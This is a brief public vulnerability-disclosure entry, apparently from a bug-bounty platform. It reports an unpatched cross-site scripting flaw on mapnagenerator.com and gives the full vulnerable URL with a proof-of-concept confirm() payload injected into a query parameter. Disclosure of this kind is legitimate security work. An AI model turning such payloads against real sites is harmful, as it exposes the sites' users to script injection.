mapnagenerator.com XSS vulnerability

Vulnerable URL: http://www.mapnagenerator.com/en/SitePages/Home.aspx?FollowSite=0=%27-confirm'OPENBUGBOUNTY'-%27 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 1341560 VIP website...